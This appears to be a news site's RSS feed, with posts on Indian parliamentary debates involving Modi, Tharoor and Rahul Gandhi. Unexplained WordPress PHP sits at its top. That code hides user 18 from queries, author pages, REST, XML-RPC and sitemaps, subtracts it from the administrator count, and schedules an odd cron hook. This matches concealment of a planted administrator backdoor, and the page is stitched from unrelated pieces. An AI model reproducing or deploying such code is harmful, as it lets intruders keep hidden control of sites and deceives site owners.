add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post PM Modi Targets Congress Over Electoral Losses, Reaffirms Vision for Developed India by 2047 appeared first on The Edge Media.
]]>Replying to the debate on the Motion of Thanks to the President’s Address in the Lok Sabha, the Prime Minister expressed regret over the disruption caused by Opposition members. He said such behaviour was not only an insult to the President of India, a poor tribal woman, but also a slight against the highest constitutional office and the Constitution itself.
Modi strongly criticised Rahul Gandhi’s remark describing Union Minister Ravneet Singh Bittu as a traitor, calling it an insult to the entire Sikh community. He said such language reflected the Opposition’s inability to engage in constructive debate.
Targeting the Mamata Banerjee-led Trinamool Congress in West Bengal, the Prime Minister accused the party of shielding infiltrators, alleging that their presence was depriving local youth of employment opportunities and encroaching upon tribal land rights.
Referring to slogans raised by Opposition leaders, Modi said those who claim to run a campaign of love were simultaneously using language filled with hatred. He asserted that despite repeated attempts, his political opponents would never succeed in undermining him.
The Prime Minister said personal abuse directed at him stemmed from the inability of some leaders to accept that someone from a humble background could hold and continue to serve in the country’s highest executive office. He alleged that the Congress leadership viewed the post of Prime Minister as a family entitlement.
Modi said he drew strength from the blessings of crores of mothers, sisters and poor citizens across the country, for whom he claimed to be working with dedication. He contrasted his government’s approach with that of the Congress, saying his administration treated citizens as the nation’s strength and solution rather than as problems.
Highlighting the achievements of the past 11 years, the Prime Minister said India’s sustained high growth and controlled inflation reflected the resilience of the economy, which he said was on track to become the world’s third-largest.
He also referred to recent trade engagements with the European Union and the United States, stating that global confidence in India had increased and that these developments contributed to greater international stability.
Describing India as being on a fast track of reform, Modi said the country was moving steadily towards its goal of becoming a developed nation by 2047. During his nearly 100-minute address, he countered Opposition criticism of his government’s welfare schemes and reiterated his commitment to the vision of Viksit Bharat.
The Prime Minister also said India had emerged as a strong and credible voice of the Global South, playing a key role in shaping international discourse.
The post PM Modi Targets Congress Over Electoral Losses, Reaffirms Vision for Developed India by 2047 appeared first on The Edge Media.
]]>The post Shashi Tharoor Takes Swipe at Centre Over VB-G RAM G Bill, Recalls Bollywood Lyric in Lok Sabha appeared first on The Edge Media.
]]>The Thiruvananthapuram MP quoted the song line,
“Dekho o deewano ye kaam na karo, Ram ka naam badnaam na karo,”
to question the intent behind the legislation, asserting that the bill was not a simple administrative change but an assault on the very spirit and philosophical core of the rural employment programme.
The VB-G RAM G Bill, 2025, seeks to replace the Mahatma Gandhi National Rural Employment Guarantee Act (MGNREGA) and was introduced in the Lok Sabha amid strong opposition protests over the removal of Mahatma Gandhi’s name from the flagship scheme. Opposition members demanded that the bill be referred to a parliamentary standing committee for detailed scrutiny.
Introducing the bill, Union Minister Shivraj Singh Chouhan said the Narendra Modi government believes in and follows Mahatma Gandhi’s principles, claiming that the Centre has delivered more for rural development than previous administrations. However, opposition MPs, including Congress leader Priyanka Gandhi Vadra, strongly objected to dropping Gandhi’s name from the law.
Tharoor described the proposed legislation as a “deeply regrettable and retrograde step” that weakens the country’s commitment to the welfare of its most vulnerable citizens. He argued that Mahatma Gandhi’s vision of Ram Rajya was not political symbolism but a socio-economic framework grounded in village empowerment and Gram Swaraj.
Tharoor said,
“The original Act acknowledged this deep connection by bearing Gandhi’s name. Employment guarantee and upliftment must flow from the grassroots, reflecting his principle of putting the last person first. Removing his name strips the bill of its moral compass and historical legitimacy,”
He also criticised the bill’s title, which combines languages to form the acronym “G RAM G,” calling it a violation of constitutional norms and mocking the attempt through his song reference.
Additionally, Tharoor questioned the financial restructuring proposed under the bill, particularly the move to place 40% of the financial burden on state governments. He warned that the measure was fiscally irresponsible and could render the programme unworkable across states.
The post Shashi Tharoor Takes Swipe at Centre Over VB-G RAM G Bill, Recalls Bollywood Lyric in Lok Sabha appeared first on The Edge Media.
]]>The post Rahul Gandhi Accuses RSS of Attempting to Influence India’s Institutions appeared first on The Edge Media.
]]>Gandhi said that following Mahatma Gandhi’s assassination, the RSS pursued what he described as a long-term goal of gaining control over India’s institutional framework, arguing that the current political atmosphere reflects the results of that sustained effort.
He further contended that the organisation does not support the principle of equality, insisting that its ideology is rooted in hierarchy rather than fairness. According to him, the belief that every Indian is equal “unsettles” those aligned with the RSS.
Emphasising the foundation of Indian democracy, Gandhi said the strength of the nation lies in the equal value of each citizen’s vote. He added that India, with its population of 1.5 billion people, is held together by the democratic right to vote, and he warned that any move to weaken electoral integrity threatens the country’s unity.
The post Rahul Gandhi Accuses RSS of Attempting to Influence India’s Institutions appeared first on The Edge Media.
]]>